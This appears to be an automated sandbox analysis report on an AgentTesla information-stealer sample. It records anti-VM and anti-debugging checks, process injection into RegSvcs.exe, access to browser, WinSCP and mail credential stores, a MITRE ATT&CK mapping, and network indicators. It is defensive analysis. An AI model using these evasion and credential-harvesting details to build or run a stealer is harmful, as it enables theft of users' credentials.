Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Thread delayed: delay time: 99063	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Thread delayed: delay time: 98938	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Thread delayed: delay time: 98813	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Thread delayed: delay time: 98700	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Thread delayed: delay time: 99890	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Thread delayed: delay time: 99781	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Thread delayed: delay time: 99655	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Thread delayed: delay time: 99541	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Thread delayed: delay time: 99420	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Thread delayed: delay time: 99281	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99874	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99750	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99641	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99531	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99422	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99312	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99201	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99092	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98969	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98859	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98750	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98640	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98511	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98391	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98266	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98141	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98031	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97921	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97808	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97692	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97309	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97179	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96798	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96682	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96557	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95100	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 94981	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 94875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 94766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 94656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 94547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 94437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 94328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 94219	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 94094	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 93969	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 93859	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 93748	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 93641	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 93516	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 93390	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 93277	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 93172	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 92985	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 92859	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 92743	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 92640	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 92531	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 92422	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: RegSvcs.exe, 00000004.00000002.2764598895.0000000002C71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD2A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\vmmouse.sys
Source: RegSvcs.exe, 00000004.00000002.2757087631.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: vmware
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD2A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD2A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD2A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: RegSvcs.exe, 00000004.00000002.2757087631.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: VMwareVBoxESelect * from Win32_ComputerSystem
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1794947481.00000194C4616000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD2A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD2A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\'C:\WINDOWS\system32\drivers\vmmouse.sys&C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD2A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: noValueButYesKey)C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD2A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD2A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD2A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware SVGA II
Source: RegSvcs.exe, 00000004.00000002.2791833489.00000000060A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 4_2_00FD70A8 CheckRemoteDebuggerPresent,

4_2_00FD70A8

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, DecodeLastFromUtf8AllFlags.cs	Reference to suspicious API methods: RuntimeHelpers.GetObjectValue(VirtualProtect(PublicPropertiesThreadPoolWorkerThreadStop, Action10FileAttributeTagInformation, getIsJITOptimizerDisabledBleUn, out EndOfStringgetIndent))
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, DecodeLastFromUtf8AllFlags.cs	Reference to suspicious API methods: RuntimeHelpers.GetObjectValue(GetProcAddress((IntPtr)getParameterValueX86Base, RevokeObjectBoundCustomFormatClass))
Source: 0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d832d050.0.raw.unpack, xUX1WKw.cs	Reference to suspicious API methods: yoi2Sa2W.OpenProcess(oywUbCp0l62.DuplicateHandle, bInheritHandle: true, (uint)hdq2Ex2.ProcessID)

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 43E000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 440000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: B67008	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d94271b0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d94271b0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d832d050.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d832d050.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2757087631.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2764598895.0000000002C71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2049795050.00000194D9427000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2764598895.0000000002C9E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2764598895.0000000002CA4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2049795050.00000194D80E6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe PID: 5828, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 22352, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d94271b0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d94271b0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d832d050.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d832d050.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2757087631.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2764598895.0000000002C71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2049795050.00000194D9427000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2049795050.00000194D80E6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe PID: 5828, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 22352, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d94271b0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d94271b0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d832d050.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d832d050.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2757087631.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2764598895.0000000002C71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2049795050.00000194D9427000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2764598895.0000000002C9E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2764598895.0000000002CA4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2049795050.00000194D80E6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe PID: 5828, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 22352, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	211 Process Injection	1 Deobfuscate/Decode Files or Information	1 Input Capture	24 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	Logon Script (Windows)	1 Timestomp	1 Credentials in Registry	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	521 Security Software Discovery	Distributed Component Object Model	1 Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	251 Virtualization/Sandbox Evasion	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	251 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	211 Process Injection	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	11%	ReversingLabs	Win64.Trojan.Generic
SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	32%	Virustotal		Browse
SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Link
ktxcomay.com.vn	0%	Virustotal	Browse
windowsupdatebg.s.llnwi.net	0%	Virustotal	Browse
heygirlisheeverythingyouwantedinaman.com	21%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_	0%	URL Reputation	safe
http://183.89.45.167:8080://proxy	0%	Avira URL Cloud	safe
http://185.89.181.212:5678	0%	Avira URL Cloud	safe
http://154.202.118.127:3128://proxy	0%	Avira URL Cloud	safe
http://188.164.196.31:49426	0%	Avira URL Cloud	safe
http://38.242.136.254:1970	0%	Avira URL Cloud	safe
http://5.252.23.220:3128	0%	Avira URL Cloud	safe
http://167.99.219.173:8118://proxy	0%	Avira URL Cloud	safe
http://176.113.73.99:3128	0%	Avira URL Cloud	safe
http://183.89.45.167:8080://proxy	0%	Virustotal		Browse
http://185.89.181.212:5678	2%	Virustotal		Browse
http://38.242.136.254:1970	3%	Virustotal		Browse
http://176.113.73.99:3128	1%	Virustotal		Browse
http://104.21.6.88:80	0%	Avira URL Cloud	safe
http://5.252.23.220:3128	2%	Virustotal		Browse
http://38.7.1.233:999	0%	Avira URL Cloud	safe
http://188.164.193.178:30744	0%	Avira URL Cloud	safe
http://111.224.213.165:8089://proxy	0%	Avira URL Cloud	safe
http://188.164.196.31:49426	2%	Virustotal		Browse
http://104.21.6.88:80	0%	Virustotal		Browse
http://167.99.219.173:8118://proxy	0%	Virustotal		Browse
http://188.164.193.178:30744	11%	Virustotal		Browse
http://192.248.166.13:8888	0%	Avira URL Cloud	safe
http://3.27.109.94:56781://proxy	0%	Avira URL Cloud	safe
http://147.45.40.15:30463://proxy	0%	Avira URL Cloud	safe
http://172.67.255.224://proxy	0%	Avira URL Cloud	safe
http://38.7.1.233:999	0%	Virustotal		Browse
http://178.212.48.80:8080	0%	Avira URL Cloud	safe
http://51.77.65.164:31979	0%	Avira URL Cloud	safe
http://41.65.251.85:1981://proxy	0%	Avira URL Cloud	safe
http://192.248.166.13:8888	1%	Virustotal		Browse
http://107.180.95.177:63951://proxy	0%	Avira URL Cloud	safe
http://178.212.48.80:8080	2%	Virustotal		Browse
http://46.101.19.131://proxy	0%	Avira URL Cloud	safe
http://3.27.109.94:56781://proxy	1%	Virustotal		Browse
http://103.28.121.58:3128://proxy	0%	Avira URL Cloud	safe
http://184.178.172.25:15291	0%	Avira URL Cloud	safe
http://41.65.251.85:1981://proxy	1%	Virustotal		Browse
http://50.169.135.10:80	0%	Avira URL Cloud	safe
http://36.95.155.74:3126://proxy	0%	Avira URL Cloud	safe
http://50.169.135.10:80	3%	Virustotal		Browse
http://51.77.65.164:31979	2%	Virustotal		Browse
http://36.95.155.74:3126://proxy	3%	Virustotal		Browse
http://103.28.121.58:3128://proxy	2%	Virustotal		Browse
http://200.108.234.105:8080://proxy	1%	Virustotal		Browse
http://107.180.95.177:63951://proxy	3%	Virustotal		Browse
http://184.178.172.25:15291	7%	Virustotal		Browse
http://200.108.234.105:8080://proxy	0%	Avira URL Cloud	safe
http://185.161.186.82:54321://proxy	0%	Avira URL Cloud	safe
http://192.140.42.83:31511	100%	Avira URL Cloud	malware
http://201.77.108.64:999	0%	Avira URL Cloud	safe
http://178.49.14.57:3128://proxy	0%	Avira URL Cloud	safe
http://190.14.215.130:8080://proxy	0%	Avira URL Cloud	safe
http://162.19.7.61:37013://proxy	0%	Avira URL Cloud	safe
http://161.97.170.209:13636://proxy	0%	Avira URL Cloud	safe
http://36.92.111.49:52471://proxy	0%	Avira URL Cloud	safe
